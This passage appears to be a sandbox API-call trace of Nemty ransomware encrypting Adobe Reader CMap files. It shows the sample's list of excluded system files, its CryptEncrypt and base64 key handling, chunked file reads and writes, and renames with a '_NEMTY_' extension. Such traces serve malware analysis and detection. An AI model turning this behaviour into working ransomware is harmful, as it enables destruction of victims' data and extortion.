hHeap=0x4f90000) returned 1 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0213.437] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-V", cAlternateFileName="UNIKS-~3")) returned 1 [0213.437] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2=".") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="..") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="...") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="windows") returned -1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="$RECYCLE.BIN") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="rsa") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="NTDETECT.COM") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="ntldr") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="MSDOS.SYS") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="IO.SYS") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="boot.ini") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="boot.ini") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="AUTOEXEC.BAT") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="ntuser.dat") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="desktop.ini") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="CONFIG.SYS") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="RECYCLER") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="BOOTSECT.BAK") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="bootmgr") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="programdata") returned 1 [0213.438] lstrcmpiW (lpString1="UniKS-UCS2-V", lpString2="appdata") returned 1 [0213.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-V", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UCS2-V", lpUsedDefaultChar=0x0) returned 12 [0213.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-V", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UCS2-V", lpUsedDefaultChar=0x0) returned 12 [0213.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-V", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UCS2-V", lpUsedDefaultChar=0x0) returned 12 [0213.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-V", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UCS2-V", lpUsedDefaultChar=0x0) returned 12 [0213.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0213.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0213.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0213.439] Sleep (dwMilliseconds=0x5) [0213.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32dd8170, dwHighDateTime=0x1d561e8)) [0213.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32dd8170, dwHighDateTime=0x1d561e8)) [0213.453] GetLastError () returned 0x5 [0213.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.453] GetLastError () returned 0x5 [0213.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.453] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0213.453] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0213.453] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0213.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0213.453] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="UQrthwook128X4CqrOzI6TXwSorRSF5Cq3AMVlfvFd1x+0wOYS29oG3J/7vGpPy6\r\nae9zT0uWOR110Jpc8AESYEAtov9umT5xE5CSsXxDZ9xovaKrg4wsTyPDXJkiUKd9\r\n/2sTY69gmCYkt7fGlOakxFcFpXnUngN4MPe6hoRAqhv9h9JkOiuKzrdiKa4hlmLP\r\n4UvdcDGyUMNT8SidUG6e4ZbUDqjKE2+G/Jorhu/jNgHrGSqhrQ/tlFyUnDZ1Eks0\r\njbGMI+bwIxxf0FVUuqWquDcQhGXWtskCeYurS10okyRXUuqOC1rmn40ngKPkW5LC\r\nltZ1WUPj+tsVwbMxdhoTIg==\r\n", pcchString=0x653e91c) returned 1 [0213.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0213.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0213.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0213.453] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.454] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0213.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0213.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.561] CloseHandle (hObject=0xffffffff) returned 0 [0213.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0213.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0213.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0213.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0213.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.561] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-v._nemty_kgobjgd_")) returned 0 [0213.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0213.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0213.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0213.562] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2031a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-H", cAlternateFileName="UNIKS-~2")) returned 1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2=".") returned 1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="..") returned 1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="...") returned 1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="windows") returned -1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="$RECYCLE.BIN") returned 1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="rsa") returned 1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="NTDETECT.COM") returned 1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="ntldr") returned 1 [0213.562] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="MSDOS.SYS") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="IO.SYS") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="boot.ini") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="boot.ini") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="AUTOEXEC.BAT") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="ntuser.dat") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="desktop.ini") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="CONFIG.SYS") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="RECYCLER") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="BOOTSECT.BAK") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="bootmgr") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="programdata") returned 1 [0213.563] lstrcmpiW (lpString1="UniKS-UTF16-H", lpString2="appdata") returned 1 [0213.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 